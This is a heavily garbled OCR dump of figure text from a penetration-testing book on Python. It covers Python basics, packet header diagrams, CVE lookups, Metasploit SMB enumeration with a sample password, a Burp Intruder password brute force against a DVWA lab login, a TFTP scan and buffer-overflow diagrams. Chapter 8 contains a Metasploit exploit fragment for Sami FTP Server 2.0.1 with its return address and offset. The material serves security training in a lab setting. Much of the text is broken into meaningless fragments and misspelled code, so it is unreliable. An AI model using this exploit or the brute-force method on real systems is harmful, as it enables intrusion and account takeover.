Chapter 1: Understanding the Penetration Testing Methodology




Chapter 2: The Basics of Python Scripting

:~# python local gleoabl.py
is

:~# perl perl_game.pl
you want to play a game?
Perl
:~# python python game.py
you want to play a game?
Python

variableName = 5
variableName
print(variableName + variablelame)

print(variableName + variableNameZ)

newVariable = variableMame + variableNameZ
print(newVariable)




print(variableMName + variableMNameZ)

newVariable = variableMName + variableNameZ2

print(newVariable)

=== yvariableName =&

=== variableMNameZ = '106'

=== type(variableName)
<type Nt =

=== t (variableNameZ2)
<type

=== yariableFloat = 3.12
>>> type(variableFloat)
type 'float'=

lableMame)
(most recent
tdin=", line

E

=== yalL e
valuel +
(most rec

din=",

with bas

for +:

g 10:

'int'

and

'str'



=== valuel

==> yalueZ

= typ |

=type 'int'=

=== 1 |

<type 'str'=

=== yalueZ int{value
=== type(valuel)

=t y

=== print(valuel + valueZ2)
15

e value
o value
e value
e value
e value : itio is string value

5
5
5
5
5

# pyvthon variable string.py
My profession i=s Hacker, what is yours?




# python variable string4.py
My profession is Hacker, what is yours? Penetration Tester, with 15 years experience!

~# python break t
count is: 15
14
13
. I:ur-. Co '..: lE
" cUdrrent co is: 11

python break testZ.p)
Your cur unt '
Your cur unt

unt

unt
Your cur unt
Your cur unt
Your current unt
Your current unt
Your cur count
Your curre S
Your count is finished!
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Chapter 3: Identifying Targets with Nmap, Scapy, and Python

Building of a Frame

1
Application Application
Layer

Presentation
Layer

Session
Layer

w Transport Transport
Header Layer Layer
m Internet Metwork
Header Header Layer
Header Header Header Trailer Interface Layer
:
Layer

7-byte 1-byte 6-byte ; roughly
preamble start of MAC IP 24-byte size
frame destination ] header TCP varies

7-byte 1-byte b-byte 20-byte | roughly Data
preamble start of MALC IP 8-byte size
frame destination ] header UDP varies

4-bit 4-bit 8-bit type of service
version | header (TOS)
length
16-bit identification

8-bit time to live &-bit protocol 16-bit header checksum

32-bit source IP address
32-bit destination IP address
Optionsif an
Data if any



4-bit 8-bit traffic class 24-bit flow label
version
16-bit payload length 8-bit next header 8-bit hop limit

128-bit source address

128-bit destination address

24-bit options 8-bit padding

16-bit source port number 16-bit destination port number
32-bit sequence number
32-bit acknowledgement number

4-bit 3-bit C R 16-bit window size
header | reserved W S
length
R T

16-bit TCP checksum

Dataifany

16-bit source port number 16 - Bit destination port number
16-bit UDP length 16-bit UDP checksum

Data if there is any
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Chapter 4: Executing Credential Attacks

with Python

A B C D E F G H I J K
2 name rank count  prop100k cum_prop100k pctwhite pctblack pctapi pctaian pct2prace pethispanic
3 SMITH 1 2376206 880.85 Be0.8s 7336 2222 04 085 1.63 1.56
4 JOHNSON 2 1857160 6585.44 1569.3 61.55 338 042 0N 1.82 1.5
5 WILLIAMS 3 1534042  568.66 213796 4852 4672 037 0.78 2.0

1.6

—d DOMAIN MAME,







Chapter 5: Exploiting Services with Python







CVE Details

www cvedetails.com/ -

CVEdetails.com is a free CVE security vulnerability databaselinformation source.
You can view CVE vulnerability details, exploits, references, metasploit ...

2.6.24 Q
Vulnerability Search Vulnerabilities By Type
Advanced CVE security vulnerability Yulnerabilities By Type. Year, # of
search form allows .. Yulnerabilities, Do3, Code ..

Vulnerability Feeds & Widgets  CW5SS Score Distribution

Yulnerahility Feeds & VWidgets. You Security vulnerability statistics and
can generate a custom .. cve vulnerability distribution by ...
Vendors Adaobe Flash Player
Browsable list of software vendors., Security vulnerabilities of Adobe
You can view full list of software ... Flash Flayer: List of all related ...

Linux » Linux Kernel » 2.6.24 : Vulnerability Statistics

Yulnerabilities (324) Related Metasploit Modules  (Cpe Name:cpe:fo:linux:finux_kemel:2.6.24)

Vulnerability Feeds & Widgets

Linux » Linux Kernel » 2.6.24 : Security Vulnerabilities

Cpe Name:cpe:/fo:linux:linux_kermnel:2.6.24
CVSS Scores Greater Tham:? 1 2 2 4 5 & 7 8 9
Sort Results By : CVE Number Descending CWE Number Ascending ©CWS5 Score Descending Number Of Exploits Descending

6 CWE-2010-1146 264 1 +Priv 2010-04-12  2012-03-19 6.9 MNone Local Medium Mot reguired Complete Complete Complete

The Linux kernel 2.6.33.2 and earlier, when a ReiserFS filesystem exists, does not restrict read or write access to the .reiserfs_priv directory, which allows local users to gain privileges by modifying (1)
extended attributes or (2) ACLs, as demonstrated by deleting a file under .reiserfs_priv/xattrs/.



— References For CVE-2010-1146
http://osvdb.org/63601
O3SWDE 63601

http://secunia.com/advisories/39316
SECUNIA 39316

http://marc.infa/?|=linux-kernel&m=1270760120221558w=2
MLIST [linux-kernel] 20100408 [FATCH #3] reiserfs: Fix permissions on .reiserfs_priv

Exploit! http://www.exploit-db.com/exploits 12130
EXPLOIT-DE 12130 Linux kKernel <= 2.6.34-rc3 ReiserFS xattr - Privilege Escalation Author:Jon Oberheide Releass Date:2010-04-09 (linux) local

http://www.securityfocus.com/bid/39344
BID 39344 Linux Kernel ReiserFS Security Bypass Vulnerability Release Date:2010-09-23

http://«force.iss.net/«force/xfdb/57782
*F kernel-reiserfs-privilege-escalation(37782)

https://bugzilla.redhat.com/show bug.cqi?id=568041 CONFIRM

Exploit! http://www.milwOrm.com,/exploit

L1

MILWORM 8572
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mkdir c
mv pas
mv shac




msf auxiliary(
e options (auxiliary/scanner/smb/smb_enumusers_domain) :
MName Current Setting Required)  Descrip
gMBDu_Irnam | (GROUP o The Winc
SMBPass batman 0 The pa:s

Administrator o The use
1 yes The numbe

. ANYBODY PCA\Victim

Current Value

.168. 185 /68

yload_rev_handler.rc




- a command: checkvt
[*] Checking Virus Total for payload hashes...

[*] Mo payloads found on VirusTotal!

SHARE A )
(ADMINS,C%, ... a normal re
SMBDomain Wi GROUP 0 1
SMBPass batman 0 e ps NO m T sp
SMBUser Administrator 0 e username to authent

User

NTLM ORKGROUP ANYBODY PC$
iate NT AUTHORITY LOCAL SERVICE

e NT AUTHORITY NETWORK SERVICE
NTLM ANYBODY PC Victim Passwordl







Chapter 6: Assessing Web Applications with Python




“ 192.168.195.145/dvwa/login.php

i\
DVWA

Username

Password

“~ 192,168 195,145 dvwa/config)

Index of /dvwa/config

Name Last modified Size Description

a Parent Directory -
@ configinc.php 20-May-2012 15:23 576




€ & 192168195145/ dvwa/ config/ config.inc.php

€ | @ 192168195145/ dvwa/config/ config.inc.php~

<?php

$# If you are having problems connecting to the MyS5QL database and all of the variables below are correct
# try changing the 'db_szerver' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.

# Thanks to digininja for the fix.
# Database management sSystem to use

SDEMS =
$SDBMS =

'MySQL';
"BGSQL";

# Database variakbles

¢ DVHA = arrav():

$ DVWA[ 'db _server' ] = 'localhost';
$_DV'WI;[ 'd.b_database' ] = 'dvwa';

¢ DVWA[ 'db_user' ] = 'root';

$ DVWA[ 'db_password' ] = '';

¥ Only needed for PGSQL

§ DVHA[ 'db port' | = '5432°;

s

Connection Settings |A|T Options | B |
i -
. e n
Configure Proxies to Access the Internet | el Bl ?6 (. 5
i = g ¢ = O 5=
(2 No proxy General Tabs Search  Content  Applications  Privacy  Security Sync Advanced

1 Auto-detect proxy settings for this network

(") Use system proxy settings

@ Manual proxy configuration:

HTTP Progy: 127001 Port: 8080 |
["] Use this proxy server for all protocols
S5L Proxy: Port: 05
ETP Proxy: Port: 0F
SOCKS Host: Port: 05
() SOCKSv4 @ SOCKSw5 [[] Remote DNS
Mo Proxy for:

localhost, 127.0.01

Example: .mozilla.org, .net.nz, 192.168.1.0/24
) Automatic proxy configuration URL:

Reload

[7] Do not prompt for authentication if password is saved

[ oK ][ e ][ Help

General | Data Choices | Metwork | Updatel Cer‘tlflcates|

Connection

Configure how Firefox connects to the Internet

Cached Web Content
Your web content cache is currently using 1.8 ME of disk space
[ Qverride automatic cache management

Limit cache to 3501+ MB of space

Offline Web Content and User Data
Your application cache is currently using O bytes of disk space

Tell me when a website asks to store data for offline use

The following websites are allowed to store data for offline use:

Remove...

QK

][ T ][ Help




Burp Intruder Repeater Window Help

_[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer TExtender T Options T Alerts }

r Y
[ Site map || Scope 1 E” Add URL to include in scope | 28 |
5 s ————
Il [?| Target Scop @ Specify a regular expression to match each URL component, or leave blank
= = tch item. An IP b ified instead of a host ;
&J Define the in-sc | o G R I GBI SR e D E M It the suite. All fields take regex
browse to your
Protocol: lAny | "]
nclude in scop#
Host or IP range:; | 192.168.195.145
Add |
Port: Enter regex or leave blank
Edit
File: Enter regex or leave blank
Remove
Paste URL _
Paste URL | ok || cancal |
Load ..
&

j Raw T Params T Headers T Hex ]

FPOST /dvwa/login.php HTTE/L.1

Host: L192.1g8.195.145

Tser—Agent: Mozilla/5.0 (Windows NT 6.1; WOWE4; rv:3g€.0) Gecko /20100101 Firefox/36.0
Aocept: text/html,application/xhtml+xml, application/xml;q=0.9,%/*;=0.5
Locept-Language: en-US, en:;q=0.5

becept-Encoding: gzip, deflatce

DNT: 1

Feferer: http://182.188.185, 145/ dvwa/ login. php

Cookie: security=high; PHPSESSID=c7h7lceclibleTa7lacacTTEE93c0olde
Connection: keep-alive

Content-Type: application/x-wwwv—form-urlencodesd

Content-Length: 33

username=a&passwnrd=a&LDgin=LDgin|




[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ‘

T

Target | Positions T Payloads I Options ]

@ Payload Positions

Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which paylo
details.

ﬁﬂackhpe:[tMsmrhnmb

FOST /dvwa/login.php HTTR/L. L

Host: 192.1g8.195.145

User—Agent: Mozilla/5.0 (Windows NT £.1; WOWE4: rv:3f6.0) Gecko/Z01l001l01 Firefo
Aocept: text/html,application/xhtml+xml, application/xml;q=0.9, %/ *;=0.8
Aocept-Language: en-U3, en:;qg=0.5

LAocept-Encoding: gzip, deflate

DHT: 1

Feferer: http://1592.168.195. 145/ dvwa/ login. php

Cookie: security=high; PHPSESSID=cVbh7IceclSleTa77lacacTT7E593c0cide
Connection: keep-alive

Content-Type: application/x-www—-form—urlencoded

Content-Length: 33

usernane=5as&tpassvord=5asSclogin=Login




- Target T Positions TPﬂym:ls T Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depe
and each payload tvpe can be customized in different ways.

Payload set: l1 |‘FJ Payload count: 3

Payload type: [Simple list |‘F_] Reguest count: 0

@ Payload Options [Simple list]

Thiz pavload type letz vou configure a simple list of strings that are used as

Paszie admin
administrator
user

Add Enter & new item

v

Add from list ... [Pro version onhy]



[Target T Positions TFﬂym:ls T Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depe
and each payload type can be customized in different ways.

Payload =et: [2 | ‘F] Pavload count: 4

Payload type: lSimpl& lizt |‘F] Reguest count: 12

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as

Paste password
password123
Summer201s
Passwordl

Enter & new item

A li 3
r o &g

2

¥

Add from list ... [Pro version onbhy]



[ Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

-

[ Target T Positions T Payloads T Options ]

|| Case =ensitive match
|| Exclude HTTP headers
] Match against pre-URL-encoded payloads

B

lﬁ] These settings control how Burp handles redirections when performing attacks.

Follow redirections: (L) Mewer
i) On-site only
) In-zcope onhy
@ Always

|| Process cookies in redirections

_[ Results I Target T Positions T Payloads T Options ]
| Fiter: Showing all tems (2)
Request 4 | Payloadi | Payload2 | Status | Error | Redirec... | Timeout | Length | Comment
0 200 L 1 L 1677 baseline request
[ 1 admin passviord 200 O 1 O 485 |
2 administrator password 200 ] 1 (@] 1638
3 user password 200 ] 1 ] 1838
4 admin password123 200 L 1 U 1838
5 administrator password123 200 I 1 L 1638
[+ user password123 200 I 1 L 1638
7 admin Summer2015 200 L 1 ) 1638
2 administrator Summer2015 200 L 1 U 1838
9 user Summer2015 200 L 1 U 1838
10 admin Password1 200 ] 1 ] 1638
11 administrator Pas=word1l 200 J 1 J 1638
12 user Pagsword1 200 L 1 U 1638
- K_ ) s
Finished |










Chapter 7: Cracking the Perimeter with Python

~# nmap 192.168.1585.16% -p 69 -sU
Starting Nmap & . http://nmap.org )} at 2015-04-18 14:55 UTC

scan ort flon 192). 188 1185, 1 b5
;. Latency) .

(1 host up) scanned in 0.49 seconds

) /UDP(dport= Lretry=3,timeout=1,verbose=1)

on:
end 1 packets.

got 0 answers,
dRcvList.display of =

tList.display of <

uns.summary ()
f UDP 192.168.195.169:domain = 1592.168.1595.165:tftp







Chapter 8: Exploit Development with Python, Metasploit, and

Immunity

____________

Windows
Memory —
Structure

________

Kernel

(R
Process

Environment
Block (PEB)

Thread

Environment
Block (TEB)

Dynamic-Link
Library
Program Image

Top of the Memory Structure

Bottom of the Stack

Windows
—
Stack

Top of the Stack

High Memory Addresses

Stack Growth

Low Memory Addresses

Windows
—_—

Heap

Top of the Heap

High Memory Addresses

Heap Growth

Low Memory Addresses

Bottom of the Heap



Bottom or Bottom or
Originof Stack ... __| Origin of Stack

| o =Rt
| Pointer (EBP) |

e = = I

_____________

———————————————— 1 [mm === == ===
Top Of StaCk Stack Pointer Prior Previous Base | Current Base
To Function Call Pointer Pointer (EBP)

1

1

L e - -
| Current Stack |
1

“ i Pointer (ESP) i

Top of Stack

Big Endian

Little Endian




Bottom or
Origin of Stack

Saved EIP

Saved EBP

Stack Pointer Prior

, ' Current Base |
1
To Function Call |

. Pointer (EBP)
1

. Current Stack
| Pointer (ESP)
Top of Stack "~~~

Bottom or
Origin of Stack

Injection of Data
Because of Poor
Bound Checking

' Current Stack
| Pointer (ESP)

Bottom or
Origin of Stack

Saved EIP
Saved EBP , ' Current Base |
1

AAAAAAAAA

Stack Pointer Prior
To Function Call

. Pointer (EBP)
1

Injection of Data
Because of Poor
Bound Checking

, Current Stack
. Pointer (ESP)

Top of Stack

Bottom or
Origin of Stack

BBBBBBBBB

P Overwriting of EIP :

Injection of Data
Because of Poor
Bound Checking

' Current Stack
| Pointer (ESP)




Bottom or Bottom or
Origin of Stack ---------------oooooooo - Origin of Stack

X . . .
 Verify EIP depth with Unique \ Overwrite EIP to Point to ESP

1 i R
DIAVI13485A éf: Offset Vélue, which c_an be used JMP ESP %: So NOP can be slid to Shellcode
to validate overwrite depth

———————

ANBDEDNEFG Attt N B B Offsct [l '

IAHIGLKOMN

OWPDIGRHIC

JKLMAQVIAH Injection of Data Injection of Data

EI12391945A Because of Poor Because of Poor

NDOIALKEIAL Bound Checking Bound Checking

GBIVIALENDI

AL39JHEIANG

IEADIVANCEIV NOP Sled

ANILANDIAO1 . R e .

230NDIABVIL ' Current Stack 1 | Current Stack |
| Pointer (ESP) 7 | Pointer (ESP)
ottt Topof Stack ~

“ Immunity Debugger, - PU - main thread, module username]
@Fl\e View Debug Plugins Immlib Options “Window Help Jobs

t lemtwhcPkDbzr.s ?

4 Registers (FPUI
El

The CPU g etk The Registers
Instructions ] at each step
as the ‘ : of the
Program i Program
Processes L+ rrroreen Process

wz-1.dLL™

fAddress

A Dump of the Memory in Action, can s 2 The Stack as the
be called per Register or Instruction Program Processes

Cisexploit_writingXg++ username_test.cpp —o username_test.exe




Cisexploit_writing*username_test.exe test
The username vou provided iz test

Cisexploit_writingrusername_test.exe Uictim
The username vou provided iz Victim
C=exploit_writing>

Loak ik | 7 exploit_writing ﬂ & £ ER-

Eusername_test

File name: |username_test Open
Files of type:  |Executable file [* exe | Cancel
Argurments; |test j

¥ Publish this File to the Web

) E-mail this file $:ipt”[§mument
iz Prink this file 1KE

B output - Notepad
File Edit Format ‘Wiew Help




m
—
&= ™

[l T Tl TEr S )

FFFOF@@@ ([ FFF )

0OF_IMSUFFICIENT_EBUFFER
(MO,ME.ME,A,.5,FE,L,LE]

E
E
E
E
E
E
ES
E
E
C
[
H




Loak in: |  Free MP3 CD Ripper j =5 R~

[_1Cukput

Q ferip

GHunwise

File name: Im

Filzz of bype: |E:-cecutal:ule file [* exe) ﬂ Cancel
Arguments: | j

Cisexploit_writing»python mpd_exploit.py

Cisexploit_writing>

=8 Edit Tools Help

; ) k %Wav ko Mp3... I

Mp3 to Wav Converker, .. Wav ko Ogg... -
Wma ko Wav Canverter... W'aw to Wma... C
Mp3 to Wma Converter, ., Wiay ko Flac,., L
\Wria to Mp3 Canverter, ., Way to Ape...

Eject CD-RiCM

Close CD-ROM

Refresh CD

Al e
|



Loak, ir: | ! exploit_writing ﬂ EF '
=1 2| exploit
2 Eilexp
My Fecent
Dacuments

Desktop

by Documentsz

4B

ty Computer

«

by Metwork  File name: |e:-:|:|ln:|it j Open
Places
j Cancel

Filez aof type: |S|:uunl:| filef*, waw)

BEEEEEEEEEEEREEEEEEEEEEEEREEEE

E
E
E
EE®
Eop
EE
ES
5
E
C
P
A

=]
4
5
=
-
;

. o1
) A @G rr @ CET)
FiCh Ny i




Registers [(FFUI <, <

=

Increment
Decrement

—
BB B S

Zero

Settol

Modify Enter
Copy selection ba clipboard Chel+C
Copy all registers to clipboard

Follow in Dump
Faollow in Stack

Viewy MM registers
View 3DMow! registers
YWieww debug registers

Appearance

Address | Hex dump HSCII
A1ESFEES -g -g -g -g -g -g -g -g .EEEEEEE

o o S S

A

S0 0 0 o o S TS o o 0 0

A

D T O R W D R D T T W T R W D D D D T T N

=

P
OO0



CII "Fh2Fh2Fh4FhEFheFhFFhSFheF LBF i1F i2F i3

&t FFFFFFFF )
FFFFFFFF)
FFFFFFFF)
FFFFFFFF)

(FFF)

DTo M mmmmmmmm

=S T T

MULL

- ERROR
(MO, NE, ME, A, M5, FE, GE, &)

LLOR O O R Ol







Backup r
Copw 3
Binary k
Assemble Space

Label

Carment H

Add Header

Modify Variable

Breakpoint: *
Run trace L4

Mew origin here Chel+Gray *

Go ka b
Thread *
Follow in Dump *

r mare (label) in current module Cerl4R
Find references ko r rame in all modules
View b
Al Cornmands in all modules
Copy to executable k )
) &ll sequences in all modules
analysis 3
C d Ckrl4+F
Bookrnark, K SLLEE !
Sequence of commands Chrl+3
Appearance k Cansktant
Binary skring Chrl+EB
Mexk Chrl+L

Al inkermodular calls

All commands

Al sequences

All constants

All switches

all referenced texk strings

IJzer-defined label
IUser-defined comment




T
4
m
m

H
5]
5]
=]
=]
=]
=]
5]
5]
5]
a
=]
=]
=]
5]
5]
5]
a
=]
=]
=]
=]
5]
5]
5]
=]
=]
=]
=]
5]
5]
5]
a
=]
=]
a

Lo B o o o o o o I




Backspace

Ll
JER|ER|
L
| L

HEH

FUODEZEDI
[ET]



MName

Payl

MName

TFUNC

MName

=-[*) Transmitti

7B048 bytes) to



Bottom or
Origin of Stack

— JMP ESP %'

1. Causes a Jump to ESP

Shellcode
Stage 1

2. The NOP sled is run through
then the shellcode is hit The
first stage calls the second stage

NOP Sled

3. The first stage calls the
second stage

7 :
Top of Stack '

Bottom or
Origin of Stack

Current Stack
Pointer (ESP)

— JMP ESP H

1. Causes a Jump to ESP

Shellcode
Stage 1

2. The NOP sled is run through
then the shellcode is hit The
first stage calls the second stage

NOP Sled

3. The first stage tells ESP to
move to a lower address

—>

TopofStack "~

Bottom or

Origin of Stack

— IMP ESP

Shellcode
Stage 1

Shellcode
Stage 2

L=
Top of Stack

Bottom or
Origin of Stack

JMP ESP

Offset

Shellcode
Stage 1

Shellcode
Stage 2

4. The second stage of the
shellcode clobbers the first
stage as it is being processed
preventing the execution

| Current Stack
. Pointer (ESP)

4. The ESP moves to the request
address

| 5. The second stage is called |

| 6. The second stage is executed |




] 192.168.195.169

Directory listing for /

e cxplodt exe

=

Name

FTPPASS

RPORT
SOURCEIP

sami_ ftpd list):

Description

username




)]

3o 0

(%]

=}
oy

I Hy =

[N TR %]

[ %2 Y =4

£
]

o

[Te]

* Hh

o

s -

Hods

il




Ln
H
1 o X
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== .
Hi [ Ln oL

L
(W J N R

Ry s Hh
L

B H oW

I

[T I

£
.EI
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= |

|3
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I - B = -
W s Hh =] 0
=}
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s b
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o
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def exploit
connect
if datastore['S0OURCEIE']
ip length = datastore['SCURCEIF'] .length
elae
ip length = Rex::Socket.aocurce_ address({rhost) .length
end
buf = rand text(target['0CIfiset'] - ip length)
buf << [ target['Bet'] ]1.pack{'V")
buf << rand text(lsg)
buf << payload.encoded
gsend emd{ ['LIST', buf]l, false )

disconnect
end
end
| "Targets' =2
I
| [ "Sami FIP Server Z.0.1 / Windows EF S5PF3°',
I {
'Bet' => 0x1002BZ83, # jmp esp from C:\Program Files'\PMSystem\Temp'\tmpl._d1l1
"DEfset’ => ZZB
;
1.
1.

'DefaultTarget' => 0,

'DisclosureDate’ => 'Feb 27 2013'})



Chapter 9: Automating Reports and Tasks with Python

<hostnames>
Iihust:amel:ame ";Dca;tnst"ltype

{_-"'.’.I:laql'_arr.es} \ /‘
Child Node Attribute

<?xml wersion="1.0"7>

=IDOCTYPE nmaprun®

<?xml-stylesheet href="file:///usr/bin/. .  share/mmap/nmnap.xsl
<!—— Hm .47 scan i i pr 22 13:27:14 2015 as: nm
<OAMAprun sScenner="nmap" ‘nmap —p- -—oX tesat2 127.0.0.1" =

<Omaprun scenner="nmap" srgs="nmap -p- —-oi
<gacaninfo type="ayn" protocol="tcp" numser
<verbose level="0"/>

<debugging level="0"/>

<host starttime="1423703234" endcime="142%
<runstatar<finished time="1423703237" time

< /nmaprun



<host starttime="1423703234" endtime="14Z23703237"><status
<address addr="127.0.0.1" addrtype="ipwv4"/ >

<hostnames>

<hostname name="loccalhoat" type="PTR"/>
</hostnames>

<ports¥<extraports state="closed" count
<extrareasons reazson="reaets" count="E5533"/

</extraports>

<port protocol="tecp" portid="22"»<state state="open" rezso
<port protocol="teocp" portid="5432"»<state stete="open” rea
</portax

<times srtt="15" rttwver="0" to="100000" />

</ host>

<hostnamesa>
<hostname neme="localhoat" type="PFTR" />

</ hoatnames>

<“ports><extrapor tate="closed” count="65533">

<EHtrareasons re ="regeta" count="E5533"/>

"22"><state stete="open" rezson="syn-ack" reszson ttl="64"/><service name="ssh" method="table" conf="3"/></port>

"H432"¥<3tate state="open" rezson="ayn-ack"” ="64"/r<gervice name="postgresql” method="table" conf="3"/></portr

Hostname - Address - Hardware Address - Port - Service Name - Protoce - Port State -
localhost 127.0.0.1 Mo MAC Address ID'd 22 ssh tcp open
localhost 127.0.0.1 Mo MAC Address ID'd 5432 postgresgl tcp open
Unknown hostname  |192.168.195.174 Mo MAC Address ID'd 22 ssh tcp open
Unknown hostname  |192.168.195.174 Mo MAC Address ID'd 69 tftp udp closed
Unknown hostname  |192.168.195.174 Mo MAC Address ID'd 79 finger udp closed
Unknown hostname  |192.168.195.174 Mo MAC Address ID'd 161 snmp udp closed
Unknown hostname  |192.168.195.174 Mo MAC Address ID'd 1434 ms-sql-m udp closed

Servic
C adc : \C
N hostname IP: - . 174 P [ ort: 69 Servic

Servic

udp P : 161 Servi

udp : 1434 Serv




ML,

-f FILEN&ME,

——zimple

Hostname - Address Hardware Address -~ Port - Service Name - Protocol - Port State -~
localhost 127.0.0.1 No MAC Address ID'd 22 ssh tcp open
localhost 127.0.0.1 Mo MAC Address ID'd 5432 postgresql tcp open
Unknown hostname  [192.168.1595.174 Mo MAC Address ID'd 22 ssh tep open
Unknown hostname  |192.168.195.174 Mo MAC Address ID'd 69 tftp udp closed
Unknown hostname  [192.168.1595.174 Mo MAC Address ID'd 79 finger udp closed
Unknown hostname  [192.168.155.174 No MAC Address ID'd 161 snmp udp closed
Unknown hostname  [192.168.195.174 Mo MAC Address ID'd 1434 ms-sql-m udp closed




Hostname - Address - Hardware Address - Port Service Name - Protocol Port State -
localhost 127.0.0.1 Mo MAC Address ID'd 22 ssh tcp open
localhost 127.0.0.1 Mo MAC Address ID'd 5432 postgresgl tcp open
Unknown hostname  |192.168.195.174 Mo MAC Address ID'd 22 ssh tcp open
Unknown hostname  |192.168.195.174 Mo MAC Address ID'd 69 tftp udp closed
Unknown hostname  |192.168.195.174 Mo MAC Address ID'd 79 finger udp closed
Unknown hostname |192.168.195.174 No MAC Address ID'd 161 snmp udp closed
Unknown hostname  |192.168.195.174 No MAC Address ID'd 1434 ms-sgl-m udp closed




Chapter 10: Adding Permanency to Python Tools







